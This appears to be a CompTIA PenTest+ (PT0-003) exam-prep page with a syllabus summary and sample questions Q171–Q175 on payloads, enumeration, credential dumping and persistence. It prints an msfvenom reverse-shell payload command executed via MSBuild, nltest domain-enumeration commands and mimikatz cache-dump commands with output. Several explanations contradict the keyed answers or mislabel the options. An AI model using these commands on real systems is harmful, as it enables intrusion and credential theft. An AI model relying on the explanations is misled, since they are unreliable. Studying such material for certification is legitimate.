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CompTIA PT0-003 Exam Syllabus Topics:

Topic Details

Topic 1

Reconnaissance and Enumeration: This topic focuses on applying information gathering and enumeration
techniques. Cybersecurity analysts will learn how to modify scripts for reconnaissance and enumeration
purposes. They will also understand which tools to use for these stages, essential for gathering crucial
information before performing deeper penetration tests.
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Topic 2

Attacks and Exploits: This extensive topic trains cybersecurity analysts to analyze data and prioritize
attacks. Analysts will learn how to conduct network, authentication, host-based, web application, cloud,
wireless, and social engineering attacks using appropriate tools. Understanding specialized systems and
automating attacks with scripting will also be emphasized.

Topic 3

Post-exploitation and Lateral Movement: Cybersecurity analysts will gain skills in establishing and
maintaining persistence within a system. This topic also covers lateral movement within an environment and
introduces concepts of staging and exfiltration. Lastly, it highlights cleanup and restoration activities,
ensuring analysts understand the post-exploitation phase’s responsibilities.

Topic 4

Vulnerability Discovery and Analysis: In this section, cybersecurity analysts will learn various techniques to
discover vulnerabilities. Analysts will also analyze data from reconnaissance, scanning, and enumeration
phases to identify threats. Additionally, it covers physical security concepts, enabling analysts to understand
security gaps beyond just the digital landscape.

Topic 5

Engagement Management: In this topic, cybersecurity analysts learn about pre-engagement activities,
collaboration, and communication in a penetration testing environment. The topic covers testing
frameworks, methodologies, and penetration test reports. It also explains how to analyze findings and
recommend remediation effectively within reports, crucial for real-world testing scenarios.
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CompTIA PenTest+ Exam Sample Questions (Q171-Q176):
NEW QUESTION # 171 
A tester plans to perform an attack technique over a compromised host. The tester prepares a payload using the following
command:
msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=10.12.12.1
LPORT=10112 -f csharp
The tester then takes the shellcode from the msfvenom command and creates a file called evil.xml. Which of the following commands
would most likely be used by the tester to continue with the attack on the host?

A. AppInstaller.exe C:\evil.xml
B. MSBuild.exe C:\evil.xml
C. mshta.exe C:\evil.xml
D. regsvr32 /s /n /u C:\evil.xml

Answer: B

Explanation:
The provided msfvenom command creates a payload in C# format. To continue the attack using the generated shellcode in evil.xml,
the most appropriate execution method involves MSBuild.exe, which can process XML files containing C# code:
Understanding MSBuild.exe:
Purpose: MSBuild is a build tool that processes project files written in XML and can execute tasks defined in the XML. It's
commonly used to build .NET applications and can also execute code embedded in project files.

NEW QUESTION # 172 
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A penetration tester assesses an application allow list and has limited command-line access on the Windows system. Which of the
following would give the penetration tester information that could aid in continuing the test?

A. mmc.exe
B. rundll.exe
C. nltest.exe
D. icacls.exe

Answer: C

Explanation:
When a penetration tester has limited command-line access on a Windows system, the choice of tool is critical for gathering
information to aid in furthering the test. Here's an explanation for each option:
mmc.exe (Microsoft Management Console):
Primarily used for managing Windows and its services. It's not typically useful for gathering information about the system from the
command line in a limited access scenario.
icacls.exe:
This tool is used for modifying file and folder permissions. While useful for modifying security settings, it does not directly aid in
gathering system information or enumeration.
nltest.exe:
This is a powerful command-line utility for network testing and gathering information about domain controllers, trusts, and replication
status. Key functionalities include:
Listing domain controllers: nltest /dclist:<DomainName>
Querying domain trusts: nltest /domain_trusts
Checking secure channel: nltest /sc_query:<DomainName>
These capabilities make nltest very useful for understanding the network environment, especially in a domain context, which is
essential for penetration testing.
rundll.exe:
This utility is used to run DLLs as programs. While it can be used for executing code, it does not provide direct information about
the system or network environment.
Conclusion: nltest.exe is the best choice among the given options as it provides valuable information about the network, domain
controllers, and trust relationships. This information is crucial for a penetration tester to plan further actions and understand the
domain environment.

NEW QUESTION # 173 
Which of the following situations would require a penetration tester to notify the emergency contact for the engagement?

A. The team exploits a critical server within the organization.
B. The team exfiltrates PII or credit card data from the organization.
C. The team loses access to the network remotely.
D. The team discovers another actor on a system on the network.

Answer: D

NEW QUESTION # 174 
During a penetration test, a tester compromises a Windows computer. The tester executes the following command and receives the
following output:
mimikatz # privilege::debug
mimikatz # lsadump::cache
---Output---
lapsUser
27dh9128361tsg2€459210138754ij
---OutputEnd---
Which of the following best describes what the tester plans to do by executing the command?

A. The tester plans to use the hash collected to perform lateral movement to other computers using a local administrator hash.
B. The tester plans to perform the first step to execute a Golden Ticket attack to compromise the Active Directory domain.
C. The tester plans to collect the ticket information from the user to perform a Kerberoasting attack on the domain controller.
D. The tester plans to collect application passwords or hashes to compromise confidential information within the local



computer.

Answer: A

Explanation:
The tester is using Mimikatz to dump cached credentials from Local Security Authority (LSA) memory.
* Pass-the-Hash (Option C):
* The tester extracts cached credentials to authenticate without cracking passwords.
* Pass-the-Hash (PtH) allows lateral movement by reusing the NTLM hash on other systems.

NEW QUESTION # 175 
A tester compromises a target host and then wants to maintain persistent access. Which of the following is the best way for the
attacker to accomplish the objective?

A. Configure and register a service.
B. Perform a kerberoasting attack on the host.
C. Install and run remote desktop software.
D. Set up a script to be run when users log in.

Answer: A

Explanation:
* Configuring and Registering a Service:
* Registering a malicious service ensures that it starts automatically with the system, providing persistence even after reboots.
* This method is stealthier than others and is commonly used in advanced persistent threat (APT) scenarios.
* Why Not Other Options?
* B (Remote desktop software): Installing such software is noisy and can easily be detected by monitoring tools.
* C (User logon script): While it provides persistence, it is less reliable and more detectable than a system service.
* D (Kerberoasting): This is a credential-stealing technique and does not establish persistence.
CompTIA Pentest+ References:
* Domain 3.0 (Attacks and Exploits)
* Domain 4.0 (Penetration Testing Tools)
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